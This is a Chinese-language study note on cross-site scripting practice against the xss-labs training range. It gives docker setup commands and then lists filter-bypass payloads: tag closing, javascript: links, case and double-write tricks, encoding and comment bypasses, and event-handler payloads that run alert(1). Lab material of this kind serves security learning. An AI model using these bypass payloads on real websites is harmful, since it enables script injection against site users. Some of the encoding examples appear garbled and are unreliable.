NOTE
XSS 实战
整理 XSS 类型、触发位置、利用思路与常见防御方式。
准备工作
靶场搭建
docker pull docker.xuanyuan.run/c0ny1/xss-challenge-tour:latest
docker run --name xss-labs -p 83:80 -d docker.xuanyuan.run/c0ny1/xss-challenge-tour:latest
学习资源
XSS漏洞靶场(xss-labs)通关教程(1-20)+源码分析(2025最新)
注入方式详解
页面元素注入
利用方式:直接在输入内容中注入恶意JS脚本
原理:服务器未过滤用户输入,直接将内容渲染到页面
示例:

禁用script标签场景
当<script>标签被过滤时,需要寻找替代注入方式
HTML标签提前闭合注入
利用方式:通过提前闭合HTML标签注入恶意脚本
原理:服务器转义了内容但未过滤标签属性值
演示:
- 注入前检查未过滤的input属性

- 注入恶意代码:
"><script>alert("hello")</script> - 脚本成功执行
特例场景:
当使用htmlspecialchars($str)但未转义单引号时:
| 原始字符 | 转换后实体 | 安全作用 |
|---|---|---|
< | < | 防止标签注入 |
> | > | 防止标签闭合 |
" | " | 防止双引号属性闭合 |
' | ' | 防止单引号属性闭合 |
& | & | 防止实体欺骗 |
绕过演示:

超链接注入绕过
场景:<script>和on事件被过滤
利用方式:注入带javascript:伪协议的超链接
level5.php?keyword="><a href="javascript:alert(1)"><img src="search.png"></a>
效果:

大小写绕过
场景:关键字过滤未统一大小写
Payload:
level6.php?keyword=" Onclick="javascript:alert(1)"//
双写绕过
场景:关键字被直接替换
Payload:
level7.php?keyword="oonnclick="javascript:alert(1)" //
实体编码绕过
场景:严格关键字过滤
Payload:
javascript:alert(1)
注意:替换空格可用%0d(回车)或%0a(换行)
注释绕过格式校验
场景:要求URL包含特定协议
利用方式:将校验内容放入注释
javascript:alert(1) // http://example.com
注释绕过空格过滤
场景:输入过滤空格
利用方式:使用/**/代替空格
页面隐藏元素注入
场景:隐藏属性存在XSS漏洞
<input type="hidden" name="token" value="USER_CONTROLLED">
技巧:修改HTTP头(Referer/User-Agent/Cookie)测试回显
ng-include包含注入
利用方式:通过ng-include包含未过滤XSS的页面
<div ng-include="'vulnerable-page.html'"></div>
XSS攻击Payload
| Payload | 触发机制 | 需用户交互 | 稳定性 |
|---|---|---|---|
' onmouseover='alert(1) | 鼠标悬停 | 是 | ★★★☆☆ |
' onclick=alert(1)// | 点击元素 | 是 | ★★★★☆ |
' onfocus=alert(1) autofocus | 页面加载自动聚焦 | 否 | ★★★★★ |